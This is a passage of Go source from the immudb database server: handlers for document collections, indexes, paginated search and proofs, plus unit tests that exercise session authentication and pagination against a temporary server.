s.Options.systemAdminDBName}, ErrReservedDatabase}, {&schema.UnloadDatabaseRequest{Database: s.Options.defaultDBName}, ErrReservedDatabase}, {&schema.UnloadDatabaseRequest{Database: "unexistent_db"}, database.ErrDatabaseNotExists}, } { t.Run(fmt.Sprintf("unloadDatabaseCase%d", i), func(t *testing.T) { res, err := s.UnloadDatabase(ctx, c.req) if c.err == nil { require.NoError(t, err) } else { require.ErrorIs(t, err, c.err) } require.Nil(t, res) }) } for i, c := range []struct { req *schema.DeleteDatabaseRequest err error }{ {nil, ErrIllegalArguments}, {&schema.DeleteDatabaseRequest{Database: s.Options.systemAdminDBName}, ErrReservedDatabase}, {&schema.DeleteDatabaseRequest{Database: s.Options.defaultDBName}, ErrReservedDatabase}, {&schema.DeleteDatabaseRequest{Database: "unexistent_db"}, database.ErrDatabaseNotExists}, } { t.Run(fmt.Sprintf("deleteDatabaseCase%d", i), func(t *testing.T) { res, err := s.DeleteDatabase(ctx, c.req) if c.err == nil { require.NoError(t, err) } else { require.ErrorIs(t, err, c.err) } require.Nil(t, res) }) } _, err = s.CloseSession(ctx, &emptypb.Empty{}) require.NoError(t, err) } ================================================ FILE: pkg/server/documents_operations.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "errors" "fmt" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/rs/xid" ) func (s *ImmuServer) CreateCollection(ctx context.Context, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { db, err := s.getDBFromCtx(ctx, "CreateCollection") if err != nil { return nil, err } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } return db.CreateCollection(ctx, user.Username, req) } func (s *ImmuServer) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { db, err := s.getDBFromCtx(ctx, "UpdateCollection") if err != nil { return nil, err } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } return db.UpdateCollection(ctx, user.Username, req) } func (s *ImmuServer) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) { db, err := s.getDBFromCtx(ctx, "GetCollection") if err != nil { return nil, err } return db.GetCollection(ctx, req) } func (s *ImmuServer) GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) { db, err := s.getDBFromCtx(ctx, "GetCollections") if err != nil { return nil, err } return db.GetCollections(ctx, req) } func (s *ImmuServer) DeleteCollection(ctx context.Context, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { db, err := s.getDBFromCtx(ctx, "DeleteCollection") if err != nil { return nil, err } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } return db.DeleteCollection(ctx, user.Username, req) } func (s *ImmuServer) AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { db, err := s.getDBFromCtx(ctx, "AddField") if err != nil { return nil, err } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } return db.AddField(ctx, user.Username, req) } func (s *ImmuServer) RemoveField(ctx context.Context, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { db, err := s.getDBFromCtx(ctx, "RemoveField") if err != nil { return nil, err } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } return db.RemoveField(ctx, user.Username, req) } func (s *ImmuServer) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { db, err := s.getDBFromCtx(ctx, "CreateIndex") if err != nil { return nil, err } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } return db.CreateIndex(ctx, user.Username, req) } func (s *ImmuServer) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { db, err := s.getDBFromCtx(ctx, "DeleteIndex") if err != nil { return nil, err } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } return db.DeleteIndex(ctx, user.Username, req) } func (s *ImmuServer) InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { db, err := s.getDBFromCtx(ctx, "InsertDocuments") if err != nil { return nil, err } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } return db.InsertDocuments(ctx, user.Username, req) } func (s *ImmuServer) ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { db, err := s.getDBFromCtx(ctx, "ReplaceDocuments") if err != nil { return nil, err } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } return db.ReplaceDocuments(ctx, user.Username, req) } func (s *ImmuServer) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) { db, err := s.getDBFromCtx(ctx, "AuditDocument") if err != nil { return nil, err } return db.AuditDocument(ctx, req) } func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.SearchDocumentsRequest) (*protomodel.SearchDocumentsResponse, error) { db, err := s.getDBFromCtx(ctx, "SearchDocuments") if err != nil { return nil, err } if req == nil { return nil, ErrIllegalArguments } if req.SearchId != "" && req.Query != nil { return nil, fmt.Errorf("%w: query or searchId must be specified, not both", ErrIllegalArguments) } if req.Page < 1 || req.PageSize < 1 { return nil, fmt.Errorf("%w: invalid page or page size", ErrIllegalArguments) } if int(req.PageSize) > db.MaxResultSize() { return nil, fmt.Errorf("%w: the specified page size (%d) is larger than the maximum allowed one (%d)", database.ErrResultSizeLimitExceeded, req.PageSize, db.MaxResultSize()) } // get the session from the context sessionID, err := sessions.GetSessionIDFromContext(ctx) if err != nil { return nil, err } sess, err := s.SessManager.GetSession(sessionID) if err != nil { return nil, err } searchID := req.SearchId query := req.Query var pgreader *sessions.PaginatedDocumentReader if searchID == "" { searchID = xid.New().String() } else { var err error if pgreader, err = sess.GetDocumentReader(searchID); err != nil { // invalid SearchId, return error return nil, err } // paginated reader already exists, resume reading from the correct offset based // on pagination parameters, do validation on the pagination parameters if req.Page != pgreader.LastPageNumber+1 || req.PageSize != pgreader.LastPageSize { if pgreader.Reader != nil { err := pgreader.Reader.Close() if err != nil { s.Logger.Errorf("error closing paginated reader: %s, err = %v", searchID, err) } } query = pgreader.Query pgreader = nil } } if pgreader == nil { // create a new reader and add it to the session offset := int64((req.Page - 1) * req.PageSize) docReader, err := db.SearchDocuments(ctx, query, offset) if err != nil { return nil, err } // store the reader in the session for future use pgreader = &sessions.PaginatedDocumentReader{ Reader: docReader, Query: query, LastPageNumber: req.Page, LastPageSize: req.PageSize, } sess.SetPaginatedDocumentReader(searchID, pgreader) } // read the next page of data from the paginated reader docs, err := pgreader.Reader.ReadN(ctx, int(req.PageSize)) if err != nil && !errors.Is(err, document.ErrNoMoreDocuments) { return nil, err } if errors.Is(err, document.ErrNoMoreDocuments) || !req.KeepOpen { // end of data reached, remove the paginated reader and pagination parameters from the session err = sess.DeleteDocumentReader(searchID) if err != nil { s.Logger.Errorf("error deleting paginated reader: %s, err = %v", searchID, err) } return &protomodel.SearchDocumentsResponse{ Revisions: docs, }, nil } // update the pagination parameters for this query in the session sess.UpdatePaginatedDocumentReader(searchID, req.Page, req.PageSize) return &protomodel.SearchDocumentsResponse{ SearchId: searchID, Revisions: docs, }, nil } func (s *ImmuServer) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) { db, err := s.getDBFromCtx(ctx, "CountDocuments") if err != nil { return nil, err } return db.CountDocuments(ctx, req) } func (s *ImmuServer) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { db, err := s.getDBFromCtx(ctx, "DeleteDocuments") if err != nil { return nil, err } _, user, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("could not get loggedin user data") } return db.DeleteDocuments(ctx, user.Username, req) } func (s *ImmuServer) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) { db, err := s.getDBFromCtx(ctx, "ProofDocument") if err != nil { return nil, err } res, err := db.ProofDocument(ctx, req) if err != nil { return nil, err } if s.StateSigner != nil { hdr := schema.TxHeaderFromProto(res.VerifiableTx.DualProof.TargetTxHeader) alh := hdr.Alh() newState := &schema.ImmutableState{ Db: db.GetName(), TxId: hdr.ID, TxHash: alh[:], } err = s.StateSigner.Sign(newState) if err != nil { return nil, err } res.VerifiableTx.Signature = newState.Signature } return res, nil } ================================================ FILE: pkg/server/documents_operations_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "fmt" "testing" "time" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" "google.golang.org/protobuf/types/known/structpb" ) func TestV2Authentication(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithSigningKey("./../../test/signer/ec1.key") s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() ctx := context.Background() _, err := s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.UpdateCollection(ctx, &protomodel.UpdateCollectionRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.GetCollection(ctx, &protomodel.GetCollectionRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.GetCollections(ctx, &protomodel.GetCollectionsRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.DeleteCollection(ctx, &protomodel.DeleteCollectionRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.AddField(ctx, &protomodel.AddFieldRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.RemoveField(ctx, &protomodel.RemoveFieldRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.CreateIndex(ctx, &protomodel.CreateIndexRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.DeleteIndex(ctx, &protomodel.DeleteIndexRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.ReplaceDocuments(ctx, &protomodel.ReplaceDocumentsRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.AuditDocument(ctx, &protomodel.AuditDocumentRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.CountDocuments(ctx, &protomodel.CountDocumentsRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.DeleteDocuments(ctx, &protomodel.DeleteDocumentsRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.ProofDocument(ctx, &protomodel.ProofDocumentRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) authServiceImp := &authenticationServiceImp{server: s} _, err = authServiceImp.KeepAlive(context.Background(), &protomodel.KeepAliveRequest{}) require.Error(t, err) _, err = authServiceImp.CloseSession(context.Background(), &protomodel.CloseSessionRequest{}) require.Error(t, err) _, err = authServiceImp.OpenSession(ctx, &protomodel.OpenSessionRequest{ Username: "immudb", Password: "wrongPassword", Database: "defaultdb", }) require.Error(t, err) logged, err := authServiceImp.OpenSession(ctx, &protomodel.OpenSessionRequest{ Username: "immudb", Password: "immudb", Database: "defaultdb", }) require.NoError(t, err) require.NotEmpty(t, logged.SessionID) require.True(t, logged.InactivityTimestamp > 0) require.True(t, logged.ExpirationTimestamp >= 0) require.True(t, len(logged.ServerUUID) > 0) md := metadata.Pairs("sessionid", logged.SessionID) ctx = metadata.NewIncomingContext(context.Background(), md) _, err = authServiceImp.KeepAlive(ctx, &protomodel.KeepAliveRequest{}) require.NoError(t, err) _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) _, err = s.DeleteCollection(ctx, &protomodel.DeleteCollectionRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) _, err = s.GetCollections(ctx, &protomodel.GetCollectionsRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) _, err = s.GetCollection(ctx, &protomodel.GetCollectionRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) } func TestPaginationOnReader(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithPort(0). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithSigningKey("./../../test/signer/ec1.key") s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) require.NoError(t, s.Initialize()) authenticationServiceImp := &authenticationServiceImp{s} logged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ Username: "immudb", Password: "immudb", Database: "defaultdb", }) require.NoError(t, err) require.NotEmpty(t, logged.SessionID) md := metadata.Pairs("sessionid", logged.SessionID) ctx := metadata.NewIncomingContext(context.Background(), md) collectionName := "mycollection" _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "pincode", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "idx", Type: protomodel.FieldType_INTEGER}, }, Indexes: []*protomodel.Index{ {Fields: []string{"pincode"}}, {Fields: []string{"country"}}, {Fields: []string{"idx"}}, }, }) require.NoError(t, err) for i := 1.0; i <= 20; i++ { _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ "pincode": structpb.NewNumberValue(i), "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), "idx": structpb.NewNumberValue(i), }, }, }, }) require.NoError(t, err) } t.Run("test with search id and query should fail", func(t *testing.T) { _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: "foobar", Query: &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, Value: structpb.NewNumberValue(0), }, }, }, }, }, Page: 1, PageSize: 5, }) require.ErrorIs(t, err, ErrIllegalArguments) }) _, err = s.SearchDocuments(ctx, nil) require.ErrorIs(t, err, ErrIllegalArguments) t.Run("test with invalid search id should fail", func(t *testing.T) { _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: "foobar", Page: 1, PageSize: 5, }) require.ErrorIs(t, err, sessions.ErrPaginatedDocumentReaderNotFound) }) t.Run("test reader for multiple paginated reads", func(t *testing.T) { results := make([]*protomodel.DocumentAtRevision, 0) var searchID string query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, Value: structpb.NewNumberValue(0), }, }, }, }, } for i := 1; i <= 4; i++ { resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Query: query, Page: uint32(i), PageSize: 5, KeepOpen: true, }) require.NoError(t, err) require.Len(t, resp.Revisions, 5) results = append(results, resp.Revisions...) searchID = resp.SearchId query = nil } for i := 1.0; i <= 20; i++ { docAtRev := results[int(i-1)] require.Equal(t, i, docAtRev.Document.Fields["idx"].GetNumberValue()) } // ensure there is only one reader in the session for the request and it is being reused // get the session from the context sessionID, err := sessions.GetSessionIDFromContext(ctx) require.NoError(t, err) sess, err := s.SessManager.GetSession(sessionID) require.NoError(t, err) require.Equal(t, 1, sess.GetDocumentReadersCount()) t.Run("test reader should throw no more entries when reading more entries from a reader", func(t *testing.T) { _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Page: 5, PageSize: 5, }) require.NoError(t, err) }) }) t.Run("test reader should throw error on reading backwards", func(t *testing.T) { var searchID string query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, Value: structpb.NewNumberValue(0), }, }, }, }, } for i := 1; i <= 3; i++ { resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Query: query, Page: uint32(i), PageSize: 5, KeepOpen: true, }) require.NoError(t, err) require.Len(t, resp.Revisions, 5) searchID = resp.SearchId query = nil } _, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Page: 2, // read upto page 3, check if we can read backwards PageSize: 5, }) require.NoError(t, err) }) // close session and ensure that all paginated readers are closed _, err = authenticationServiceImp.CloseSession(ctx, &protomodel.CloseSessionRequest{}) require.NoError(t, err) } func TestPaginationWithoutSearchID(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithPort(0). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithSigningKey("./../../test/signer/ec1.key") s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) require.NoError(t, s.Initialize()) authServiceImp := &authenticationServiceImp{server: s} logged, err := authServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ Username: "immudb", Password: "immudb", Database: "defaultdb", }) require.NoError(t, err) require.NotEmpty(t, logged.SessionID) md := metadata.Pairs("sessionid", logged.SessionID) ctx := metadata.NewIncomingContext(context.Background(), md) collectionName := "mycollection" _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "pincode", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "idx", Type: protomodel.FieldType_INTEGER}, }, Indexes: []*protomodel.Index{ {Fields: []string{"pincode"}}, {Fields: []string{"country"}}, {Fields: []string{"idx"}}, }, }) require.NoError(t, err) for i := 1.0; i <= 20; i++ { _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ "pincode": structpb.NewNumberValue(i), "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), "idx": structpb.NewNumberValue(i), }, }, }, }) require.NoError(t, err) } t.Run("test reader for multiple paginated reads without search ID should have no open readers", func(t *testing.T) { sessionID, err := sessions.GetSessionIDFromContext(ctx) require.NoError(t, err) sess, err := s.SessManager.GetSession(sessionID) require.NoError(t, err) results := make([]*protomodel.DocumentAtRevision, 0) for i := 1; i <= 4; i++ { resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ Query: &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, Value: structpb.NewNumberValue(0), }, }, }, }, }, Page: uint32(i), PageSize: 5, }) require.NoError(t, err) require.Len(t, resp.Revisions, 5) results = append(results, resp.Revisions...) } for i := 1.0; i <= 20; i++ { docAtRev := results[int(i-1)] require.Equal(t, i, docAtRev.Document.Fields["idx"].GetNumberValue()) } require.Zero(t, sess.GetDocumentReadersCount()) }) // close session and ensure that all paginated readers are closed _, err = authServiceImp.CloseSession(ctx, &protomodel.CloseSessionRequest{}) require.NoError(t, err) } func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithPort(0). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithSigningKey("./../../test/signer/ec1.key") s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) require.NoError(t, s.Initialize()) authenticationServiceImp := &authenticationServiceImp{s} logged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ Username: "immudb", Password: "immudb", Database: "defaultdb", }) require.NoError(t, err) require.NotEmpty(t, logged.SessionID) md := metadata.Pairs("sessionid", logged.SessionID) ctx := metadata.NewIncomingContext(context.Background(), md) collectionName := "mycollection" _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "pincode", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "idx", Type: protomodel.FieldType_INTEGER}, }, Indexes: []*protomodel.Index{ {Fields: []string{"pincode"}}, {Fields: []string{"country"}}, {Fields: []string{"idx"}}, }, }) require.NoError(t, err) for i := 1.0; i <= 10; i++ { _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ "pincode": structpb.NewNumberValue(i), "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), "idx": structpb.NewNumberValue(i), }, }, }, }) require.NoError(t, err) } t.Run("document count without conditions should return the total number of documents", func(t *testing.T) { resp, err := s.CountDocuments(ctx, &protomodel.CountDocumentsRequest{ Query: &protomodel.Query{ CollectionName: collectionName, }, }) require.NoError(t, err) require.EqualValues(t, 10, resp.Count) }) t.Run("test reader with multiple paginated reads", func(t *testing.T) { results := make([]*protomodel.DocumentAtRevision, 0) var searchID string query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, Value: structpb.NewNumberValue(0), }, }, }, }, } for i := 1; i <= 2; i++ { resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Query: query, Page: uint32(i), PageSize: 4, KeepOpen: true, }) require.NoError(t, err) require.Len(t, resp.Revisions, 4) results = append(results, resp.Revisions...) searchID = resp.SearchId query = nil } // ensure there is only one reader in the session for the request and it is being reused // get the session from the context sessionID, err := sessions.GetSessionIDFromContext(ctx) require.NoError(t, err) sess, err := s.SessManager.GetSession(sessionID) require.NoError(t, err) require.Equal(t, 1, sess.GetDocumentReadersCount()) t.Run("test reader should throw no more entries when reading more entries from a reader", func(t *testing.T) { resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Page: 3, PageSize: 4, }) require.NoError(t, err) require.Len(t, resp.Revisions, 2) results = append(results, resp.Revisions...) }) for i := 1.0; i <= 10; i++ { docAtRev := results[int(i-1)] require.Equal(t, i, docAtRev.Document.Fields["idx"].GetNumberValue()) } }) t.Run("test reader with single read", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, Value: structpb.NewNumberValue(0), }, }, }, }, } resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ Query: query, Page: 1, PageSize: 11, }) require.NoError(t, err) require.Len(t, resp.Revisions, 10) require.Len(t, resp.SearchId, 0) // ensure there is only one reader in the session for the request and it is being reused // get the session from the context sessionID, err := sessions.GetSessionIDFromContext(ctx) require.NoError(t, err) sess, err := s.SessManager.GetSession(sessionID) require.NoError(t, err) require.Equal(t, 0, sess.GetDocumentReadersCount()) t.Run("test reader should throw error when search id is invalid", func(t *testing.T) { _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: "invalid-searchId", Page: 2, PageSize: 5, }) require.ErrorIs(t, err, sessions.ErrPaginatedDocumentReaderNotFound) }) }) t.Run("document deletion should succeed", func(t *testing.T) { _, err = s.DeleteDocuments(ctx, &protomodel.DeleteDocumentsRequest{ Query: &protomodel.Query{ CollectionName: collectionName, }, }) require.NoError(t, err) }) // close session and ensure that all paginated readers are closed _, err = authenticationServiceImp.CloseSession(ctx, &protomodel.CloseSessionRequest{}) require.NoError(t, err) } func TestDocumentInsert_WithEmptyDocument(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithPort(0). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithSigningKey("./../../test/signer/ec1.key") s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) require.NoError(t, s.Initialize()) authenticationServiceImp := &authenticationServiceImp{s} logged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ Username: "immudb", Password: "immudb", Database: "defaultdb", }) require.NoError(t, err) require.NotEmpty(t, logged.SessionID) md := metadata.Pairs("sessionid", logged.SessionID) ctx := metadata.NewIncomingContext(context.Background(), md) collectionName := "employees" _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ Name: collectionName, DocumentIdFieldName: "emp_no", Fields: []*protomodel.Field{ {Name: "birth_date", Type: protomodel.FieldType_STRING}, {Name: "first_name", Type: protomodel.FieldType_STRING}, {Name: "last_name", Type: protomodel.FieldType_STRING}, {Name: "gender", Type: protomodel.FieldType_STRING}, {Name: "hire_date", Type: protomodel.FieldType_STRING}, }, Indexes: []*protomodel.Index{ {Fields: []string{"last_name"}}, }, }) require.NoError(t, err) t.Run("#272: insert with empty document should not panic", func(t *testing.T) { _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{{}}, }) require.NoError(t, err) }) } func TestCollections(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithPort(0). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithSigningKey("./../../test/signer/ec1.key") s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) require.NoError(t, s.Initialize()) authenticationServiceImp := &authenticationServiceImp{s} logged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ Username: "immudb", Password: "immudb", Database: "defaultdb", }) require.NoError(t, err) require.NotEmpty(t, logged.SessionID) md := metadata.Pairs("sessionid", logged.SessionID) ctx := metadata.NewIncomingContext(context.Background(), md) // create collection defaultCollectionName := "mycollection" t.Run("should pass when creating a collection", func(t *testing.T) { _, err := s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ Name: defaultCollectionName, Fields: []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, }) require.NoError(t, err) _, err = s.AddField(ctx, &protomodel.AddFieldRequest{ CollectionName: defaultCollectionName, Field: &protomodel.Field{ Name: "extra_field", Type: protomodel.FieldType_UUID, }, }) require.NoError(t, err) _, err = s.AddField(ctx, &protomodel.AddFieldRequest{ CollectionName: defaultCollectionName, Field: &protomodel.Field{ Name: "extra_field1", Type: protomodel.FieldType_STRING, }, }) require.NoError(t, err) _, err = s.RemoveField(ctx, &protomodel.RemoveFieldRequest{ CollectionName: defaultCollectionName, FieldName: "extra_field1", }) require.NoError(t, err) // get collection cinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{ Name: defaultCollectionName, }) require.NoError(t, err) expectedFieldKeys := []*protomodel.Field{ {Name: "_id", Type: protomodel.FieldType_STRING}, {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "extra_field", Type: protomodel.FieldType_UUID}, } collection := cinfo.Collection for i, idxType := range expectedFieldKeys { require.Equal(t, idxType.Name, collection.Fields[i].Name) require.Equal(t, idxType.Type, collection.Fields[i].Type) } }) t.Run("should pass when adding an index to the collection", func(t *testing.T) { _, err := s.CreateIndex(ctx, &protomodel.CreateIndexRequest{ CollectionName: defaultCollectionName, Fields: []string{"number"}, }) require.NoError(t, err) // get collection cinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{ Name: defaultCollectionName, }) require.NoError(t, err) collection := cinfo.Collection expectedIndexKeys := 